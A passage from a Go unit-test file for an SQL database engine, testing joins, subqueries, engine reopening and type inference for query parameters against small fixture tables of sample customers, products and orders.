row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\t\trequire.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector(\"\", \"table2\", \"amount\")].RawValue())\n\t\t\trequire.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector(\"\", \"table3\", \"age\")].RawValue())\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return error when joining nonexistent table\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT title\n\t\tFROM table1\n\t\tINNER JOIN table22 ON table1.id = table11.fkid1`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestJoinsWithNullIndexes(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, `\n\t\tCREATE TABLE table1 (id INTEGER, fkid2 INTEGER, PRIMARY KEY id);\n\t\tCREATE TABLE table2 (id INTEGER, id2 INTEGER, val INTEGER, PRIMARY KEY id);\n\t\tCREATE INDEX ON table2(id2);\n\n\t\tINSERT INTO table2(id, id2, val) VALUES (1, 1, 100), (2, null, 200);\n\t\tINSERT INTO table1(id, fkid2) VALUES (10, 1), (20, null);\n\t`, nil)\n\trequire.NoError(t, err)\n\n\tr, err := engine.Query(context.Background(), nil, `\n\t\t\tSELECT table2.val\n\t\t\tFROM table1 INNER JOIN table2 ON table1.fkid2 = table2.id2\n\t\t\tORDER BY table1.id`, nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 1)\n\n\trow, err := r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, row)\n\trequire.Len(t, row.ValuesBySelector, 1)\n\trequire.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector(\"\", \"table2\", \"val\")].RawValue())\n\n\trow, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, row)\n\trequire.Len(t, row.ValuesBySelector, 1)\n\trequire.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector(\"\", \"table2\", \"val\")].RawValue())\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestJoinsWithJointTable(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, amount INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table12 (id INTEGER AUTO_INCREMENT, fkid1 INTEGER, fkid2 INTEGER, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (name) VALUES ('name1'), ('name2'), ('name3')\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table2 (amount) VALUES (10), (20), (30)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table12 (fkid1, fkid2, active) VALUES (1,1,false),(1,2,true),(1,3,true)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table12 (fkid1, fkid2, active) VALUES (2,1,false),(2,2,false),(2,3,true)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table12 (fkid1, fkid2, active) VALUES (3,1,false),(3,2,false),(3,3,false)\", nil)\n\trequire.NoError(t, err)\n\n\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT q.name, t2.amount, t12.active\n\t\tFROM (SELECT * FROM table1 where name = 'name1') q\n\t\tINNER JOIN table12 t12 on t12.fkid1 = q.id\n\t\tINNER JOIN table2 t2  on t12.fkid2 = t2.id\n\t\tWHERE t12.active = true`, nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 3)\n\n\tfor i := 0; i < 2; i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 3)\n\n\t\trequire.Equal(t, \"name1\", row.ValuesBySelector[EncodeSelector(\"\", \"q\", \"name\")].RawValue())\n\t\trequire.Equal(t, int64(20+i*10), row.ValuesBySelector[EncodeSelector(\"\", \"t2\", \"amount\")].RawValue())\n\t\trequire.Equal(t, true, row.ValuesBySelector[EncodeSelector(\"\", \"t12\", \"active\")].RawValue())\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestNestedJoins(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table2 (id INTEGER, amount INTEGER, fkid1 INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table1 (id, title, fkid1) VALUES (%d, 'title%d', %d)\", i, i, rowCount-1-i), nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table2 (id, amount, fkid1) VALUES (%d, %d, %d)\", rowCount-1-i, i*i, i), nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(\"UPSERT INTO table3 (id, age) VALUES (%d, %d)\", i, 30+i), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT id, title, t2.amount AS total_amount, t3.age\n\t\tFROM table1 t1\n\t\tINNER JOIN table2 t2 ON (fkid1 = t2.id AND title != NULL)\n\t\tINNER JOIN table3 t3 ON t2.fkid1 = t3.id\n\t\tORDER BY id DESC`, nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 4)\n\n\tfor i := 0; i < rowCount; i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 4)\n\n\t\trequire.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"id\")].RawValue())\n\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", rowCount-1-i), row.ValuesBySelector[EncodeSelector(\"\", \"t1\", \"title\")].RawValue())\n\t\trequire.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector(\"\", \"t2\", \"total_amount\")].RawValue())\n\t\trequire.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector(\"\", \"t3\", \"age\")].RawValue())\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestLeftJoins(t *testing.T) {\n\te := setupCommonTest(t)\n\n\t_, _, err := e.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`\n\t\tCREATE TABLE customers (\n\t\t\tcustomer_id INTEGER,\n\t\t\tcustomer_name VARCHAR(50),\n\t\t\temail VARCHAR(100),\n\n\t\t\tPRIMARY KEY customer_id\n\t\t);\n\n\t\tCREATE TABLE products (\n\t\t\tproduct_id INTEGER,\n\t\t\tproduct_name VARCHAR(50),\n\t\t\tprice FLOAT,\n\n\t\t\tPRIMARY KEY product_id\n\t\t);\n\n\t\tCREATE TABLE orders (\n\t\t\torder_id INTEGER,\n\t\t\tcustomer_id INTEGER,\n\t\t\torder_date TIMESTAMP,\n\n\t\t\tPRIMARY KEY order_id\n\t\t);\n\n\t\tCREATE TABLE order_items (\n\t\t\torder_item_id INTEGER,\n\t\t\torder_id INTEGER,\n\t\t\tproduct_id INTEGER,\n\t\t\tquantity INTEGER,\n\n\t\t\tPRIMARY KEY order_item_id\n\t\t);\n\n\t\tINSERT INTO customers (customer_id, customer_name, email)\n\t\tVALUES\n\t\t(1, 'Alice Johnson', 'alice@example.com'),\n\t\t(2, 'Bob Smith', 'bob@example.com'),\n\t\t(3, 'Charlie Brown', 'charlie@example.com');\n\n\t\tINSERT INTO products (product_id, product_name, price)\n\t\tVALUES\n\t\t(1, 'Laptop', 1200.00),\n\t\t(2, 'Smartphone', 800.00),\n\t\t(3, 'Tablet', 400.00);\n\n\t\tINSERT INTO orders (order_id, customer_id, order_date)\n\t\tVALUES\n\t\t(101, 1, '2024-11-01'::TIMESTAMP),\n\t\t(102, 2, '2024-11-02'::TIMESTAMP),\n\t\t(103, 1, '2024-11-03'::TIMESTAMP);\n\n\t\tINSERT INTO order_items (order_item_id, order_id, product_id, quantity)\n\t\tVALUES\n\t\t(1, 101, 1, 2),\n\t\t(2, 101, 2, 1),\n\t\t(3, 102, 3, 3),\n\t\t(4, 103, 2, 2);\n\t\t`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\tassertQueryShouldProduceResults(\n\t\tt,\n\t\te,\n\t\t`SELECT c.customer_id, c.customer_name, c.email, o.order_id, o.order_date\n\t\tFROM customers c LEFT JOIN orders o ON c.customer_id = o.customer_id\n\t\tORDER BY c.customer_id, o.order_date;`,\n\t\t`\n\t\tSELECT *\n\t\tFROM (\n\t\t\tVALUES\n\t\t\t\t(1, 'Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP),\n\t\t\t\t(1, 'Alice Johnson', 'alice@example.com', 103, '2024-11-03'::TIMESTAMP),\n\t\t\t\t(2, 'Bob Smith', 'bob@example.com', 102, '2024-11-02'::TIMESTAMP),\n\t\t\t\t(3, 'Charlie Brown', 'charlie@example.com', NULL, NULL)\n\t\t)`,\n\t)\n\n\tassertQueryShouldProduceResults(\n\t\tt,\n\t\te,\n\t\t`\n\t\tSELECT\n\t\t\tc.customer_name,\n\t\t\tc.email,\n\t\t\to.order_id,\n\t\t\to.order_date,\n\t\t\tp.product_name,\n\t\t\toi.quantity,\n\t\t\tp.price,\n\t\t\t(oi.quantity * p.price) AS total_price\n\t\tFROM\n\t\t\tproducts p\n\t\tLEFT JOIN order_Items oi ON p.product_id = oi.product_id\n\t\tLEFT JOIN orders o ON oi.order_id = o.order_id\n\t\tLEFT JOIN customers c ON o.customer_id = c.customer_id\n\t\tORDER BY o.order_date, c.customer_name;`,\n\t\t`\n\t\tSELECT *\n\t\tFROM (\n\t\t\tVALUES\n\t\t\t\t('Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP, 'Laptop', 2, 1200.00, 2400.00),\n\t\t\t\t('Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP, 'Smartphone', 1, 800.00, 800.00),\n\t\t\t\t('Bob Smith', 'bob@example.com', 102, '2024-11-02'::TIMESTAMP, 'Tablet', 3, 400.00, 1200.00),\n\t\t\t\t('Alice Johnson', 'alice@example.com', 103, '2024-11-03'::TIMESTAMP, 'Smartphone', 2, 800.00, 1600.00)\n\t\t)`,\n\t)\n}\n\nfunc TestReOpening(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { closeStore(t, st) })\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(name)\", nil)\n\trequire.NoError(t, err)\n\n\tengine, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)\", nil)\n\trequire.ErrorIs(t, err, ErrTableAlreadyExists)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(name)\", nil)\n\trequire.ErrorIs(t, err, ErrIndexAlreadyExists)\n}\n\nfunc TestSubQuery(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\tencPayload := hex.EncodeToString([]byte(fmt.Sprintf(\"blob%d\", i)))\n\t\t_, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(`\n\t\t\tUPSERT INTO table1 (id, title, active, payload) VALUES (%d, 'title%d', %v, x'%s')\n\t\t`, i, i, i%2 == 0, encPayload), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT id, title t\n\t\tFROM (SELECT id, title, active FROM table1) t2\n\t\tWHERE active AND t2.id >= 0`, nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 2)\n\n\tfor i := 0; i < rowCount; i += 2 {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 2)\n\n\t\trequire.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector(\"\", \"t2\", \"id\")].RawValue())\n\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"t2\", \"t\")].RawValue())\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title) VALUES (0, 'title0')\", nil)\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE active\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE title\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrInvalidCondition)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestJoinsWithSubquery(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithAutocommit(true))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tCREATE TABLE IF NOT EXISTS customers (\n\t\t\tid            INTEGER,\n\t\t\tcustomer_name VARCHAR[60],\n\t\t\temail         VARCHAR[150],\n\t\t\taddress       VARCHAR,\n\t\t\tcity          VARCHAR,\n\t\t\tip            VARCHAR[40],\n\t\t\tcountry       VARCHAR[15],\n\t\t\tage           INTEGER,\n\t\t\tactive        BOOLEAN,\n\t\t\tPRIMARY KEY (id)\n\t\t);\n\n\t\tCREATE TABLE customer_review(\n\t\t\tcustomerid INTEGER,\n\t\t\tproductid  INTEGER,\n\t\t\treview     VARCHAR,\n\t\t\tPRIMARY KEY (customerid, productid)\n\t\t);\n\n\t\tINSERT INTO customers (\n\t\t\tid, customer_name, email, address,\n\t\t\tcity, ip, country, age, active\n\t\t)\n\t\tVALUES (\n\t\t\t1,\n\t\t\t'Isidro Behnen',\n\t\t\t'ibehnen0@mail.ru',\n\t\t\t'ibehnen0@chronoengine.com',\n\t\t\t'Arvika',\n\t\t\t'127.0.0.15',\n\t\t\t'SE',\n\t\t\t24,\n\t\t\ttrue\n\t\t);\n\n\t\tINSERT INTO customer_review (customerid, productid, review)\n\t\tVALUES(1, 1, 'Nice Juice!');\n\t`, nil)\n\trequire.NoError(t, err)\n\n\tr, err := engine.Query(context.Background(), nil, `\n\t\tSELECT * FROM (\n\t\t\tSELECT id, customer_name, age\n\t\t\tFROM customers\n\t\t\tAS c\n\t\t)\n\t\tINNER JOIN (\n\t\t\tSELECT MAX(customerid) as customerid, COUNT(*) as review_count\n\t\t\tFROM customer_review\n\t\t\tAS r\n\t\t) ON r.customerid = c.id\n\t\tWHERE c.age < 30\n\t\t`,\n\t\tnil)\n\trequire.NoError(t, err)\n\n\trow, err := r.Read(context.Background())\n\trequire.NoError(t, err)\n\n\trequire.Len(t, row.ValuesBySelector, 5)\n\trequire.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector(\"\", \"c\", \"id\")].RawValue())\n\trequire.Equal(t, \"Isidro Behnen\", row.ValuesBySelector[EncodeSelector(\"\", \"c\", \"customer_name\")].RawValue())\n\trequire.Equal(t, int64(24), row.ValuesBySelector[EncodeSelector(\"\", \"c\", \"age\")].RawValue())\n\trequire.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector(\"\", \"r\", \"customerid\")].RawValue())\n\trequire.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector(\"\", \"r\", \"review_count\")].RawValue())\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestInferParameters(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\tstmt := \"CREATE DATABASE db1\"\n\n\tparams, err := engine.InferParameters(context.Background(), nil, stmt)\n\trequire.NoError(t, err)\n\trequire.Empty(t, params)\n\n\tparams, err = engine.InferParametersPreparedStmts(context.Background(), nil, []SQLStmt{&CreateDatabaseStmt{}})\n\trequire.NoError(t, err)\n\trequire.Empty(t, params)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, stmt)\n\trequire.NoError(t, err)\n\trequire.Empty(t, params)\n\n\tparams, err = engine.InferParametersPreparedStmts(context.Background(), nil, []SQLStmt{&CreateDatabaseStmt{}})\n\trequire.NoError(t, err)\n\trequire.Empty(t, params)\n\n\tstmt = \"CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)\"\n\n\t_, _, err = engine.Exec(context.Background(), nil, stmt, nil)\n\trequire.NoError(t, err)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable(id, title) VALUES (@id, @title);\")\n\trequire.NoError(t, err)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"invalid sql stmt\")\n\trequire.ErrorIs(t, err, ErrParsingError)\n\trequire.EqualError(t, err, \"parsing error: syntax error: unexpected IDENTIFIER at position 7\")\n\n\t_, err = engine.InferParametersPreparedStmts(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, stmt)\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"USE DATABASE db1\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"USE SNAPSHOT BEFORE TX 10\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, stmt)\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tpstmt, err := ParseSQL(strings.NewReader(stmt))\n\trequire.NoError(t, err)\n\trequire.Len(t, pstmt, 1)\n\n\t_, err = engine.InferParametersPreparedStmts(context.Background(), nil, pstmt)\n\trequire.NoError(t, err)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"ALTER TABLE mytableSE ADD COLUMN note VARCHAR\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"ALTER TABLE mytableSE RENAME COLUMN note TO newNote\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tstmt = \"CREATE INDEX ON mytable(active)\"\n\n\tparams, err = engine.InferParameters(context.Background(), nil, stmt)\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\t_, _, err = engine.Exec(context.Background(), nil, stmt, nil)\n\trequire.NoError(t, err)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); COMMIT;\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, IntegerType, params[\"id\"])\n\trequire.Equal(t, VarcharType, params[\"title\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); ROLLBACK;\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable(id, title) VALUES (1, 'title1')\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable(id, title) VALUES (1, 'title1'), (@id2, @title2)\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, IntegerType, params[\"id2\"])\n\trequire.Equal(t, VarcharType, params[\"title2\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE (id - 1) > (@id + (@id+1))\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, IntegerType, params[\"id\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable t1 INNER JOIN mytable t2 ON t1.id = t2.id WHERE id > @id\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, IntegerType, params[\"id\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE id > @id AND (NOT @active OR active)\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, IntegerType, params[\"id\"])\n\trequire.Equal(t, BooleanType, params[\"active\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE id > ? AND (NOT ? OR active)\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, IntegerType, params[\"param1\"])\n\trequire.Equal(t, BooleanType, params[\"param2\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE id > $2 AND (NOT $1 OR active)\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, BooleanType, params[\"param1\"])\n\trequire.Equal(t, IntegerType, params[\"param2\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT COUNT(*) FROM mytable GROUP BY active HAVING @param1 = COUNT(*) ORDER BY active\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, IntegerType, params[\"param1\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT COUNT(*), MIN(id) FROM mytable GROUP BY active HAVING @param1 < MIN(id) ORDER BY active\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, IntegerType, params[\"param1\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @active AND title LIKE 't+'\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, BooleanType, params[\"active\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM TABLES() WHERE name = @tablename\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, VarcharType, params[\"tablename\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM INDEXES('mytable') idxs WHERE idxs.\\\"unique\\\" = @unique\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, BooleanType, params[\"unique\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM COLUMNS('mytable') WHERE name = @column\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, VarcharType, params[\"column\"])\n}\n\nfunc TestInferParametersPrepared(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\tstmts, err := ParseSQL(strings.NewReader(\"CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)\"))\n\trequire.NoError(t, err)\n\trequire.Len(t, stmts, 1)\n\n\tparams, err := engine.InferParametersPreparedStmts(context.Background(), nil, stmts)\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 0)\n\n\t_, _, err = engine.ExecPreparedStmts(context.Background(), nil, stmts, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestInferParametersUnbounded(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tparams, err := engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @param1 = @param2\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, AnyType, params[\"param1\"])\n\trequire.Equal(t, AnyType, params[\"param2\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @param1 AND @param2\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 2)\n\trequire.Equal(t, BooleanType, params[\"param1\"])\n\trequire.Equal(t, BooleanType, params[\"param2\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @param1 != NULL\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, AnyType, params[\"param1\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @param1 OR TRUE\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, BooleanType, params[\"param1\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 AND active)\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, BooleanType, params[\"param1\"])\n\n\tparams, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 <= mytable.id)\")\n\trequire.NoError(t, err)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, IntegerType, params[\"param1\"])\n}\n\nfunc TestInferParametersInvalidCases(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable(id, title) VALUES (@param1, @param1)\")\n\trequire.ErrorIs(t, err, ErrInferredMultipleTypes)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable(id, title) VALUES (@param1)\")\n\trequire.ErrorIs(t, err, ErrInvalidNumberOfValues)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable1(id, title) VALUES (@param1, @param2)\")\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"INSERT INTO mytable(id, note) VALUES (@param1, @param2)\")\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE id > @param1 AND (@param1 OR active)\")\n\trequire.ErrorIs(t, err, ErrInferredMultipleTypes)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@param1, @param1); COMMIT;\")\n\trequire.ErrorIs(t, err, ErrInferredMultipleTypes)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"SELECT * FROM mytable WHERE id > INVALID_FUNCTION()\")\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = engine.InferParameters(context.Background(), 